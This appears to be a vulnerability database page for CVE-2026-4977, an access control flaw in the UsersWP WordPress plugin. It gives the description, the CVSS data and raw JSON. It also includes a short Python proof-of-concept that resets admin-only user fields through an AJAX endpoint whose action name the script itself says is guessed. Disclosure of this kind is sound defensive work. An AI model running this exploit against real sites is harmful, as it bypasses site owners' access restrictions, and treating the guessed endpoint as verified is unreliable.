Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-4977 CVSS 4.3 MEDIUM

CVE-2026-4977

Published: 2026-04-10 02:16:04
Last Modified: 2026-04-24 18:01:59

Description

The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WordPress is vulnerable to Improper Access Control in all versions up to, and including, 1.2.58 This is due to insufficient field-level permission validation in the upload_file_remove() AJAX handler where the $htmlvar parameter is not validated against a whitelist of allowed fields or checked against the field's for_admin_use property. This makes it possible for authenticated attackers, with subscriber-level access and above, to clear or reset any restricted usermeta column for their own user record, including fields marked as "For admin use only", bypassing intended field-level access restrictions.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

UsersWP <= 1.2.58

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-4977 PoC: Improper Access Control in UsersWP Plugin # Description: Authenticated users (Subscriber+) can reset restricted usermeta fields. # Usage: python poc.py <target_url> <username> <password> <field_to_reset> target_url = "http://example.com" username = "subscriber" password = "password" vulnerable_field = "restricted_field_name" # Field marked 'for_admin_use' def exploit(): session = requests.Session() # 1. Login to get authenticated cookies login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } session.post(login_url, data=login_data) # 2. Send AJAX request to vulnerable endpoint # The action name might vary, 'uwp_upload_file_remove' is a likely candidate based on function name ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'uwp_upload_file_remove', 'htmlvar': vulnerable_field, 'user_id': '' # Targets current user if empty } response = session.post(ajax_url, data=payload) if response.status_code == 200: print(f"[+] Request sent. Attempted to reset field: {vulnerable_field}") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4977", "sourceIdentifier": "[email protected]", "published": "2026-04-10T02:16:03.877", "lastModified": "2026-04-24T18:01:58.517", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The UsersWP – Front-end login form, User Registration, User Profile & Members Directory plugin for WordPress is vulnerable to Improper Access Control in all versions up to, and including, 1.2.58 This is due to insufficient field-level permission validation in the upload_file_remove() AJAX handler where the $htmlvar parameter is not validated against a whitelist of allowed fields or checked against the field's for_admin_use property. This makes it possible for authenticated attackers, with subscriber-level access and above, to clear or reset any restricted usermeta column for their own user record, including fields marked as \"For admin use only\", bypassing intended field-level access restrictions."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.54/includes/class-forms.php#L2251", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.54/includes/class-forms.php#L2274", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/tags/1.2.54/includes/class-meta.php#L165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/trunk/includes/class-forms.php#L2251", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/trunk/includes/class-forms.php#L2274", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/userswp/trunk/includes/class-meta.php#L165", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fuserswp/tags/1.2.58&new_path=%2Fuserswp/tags/1.2.59", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/efee685c-e2cd-471b-aea9-607124df6006?source=cve", "source": "[email protected]"}]}}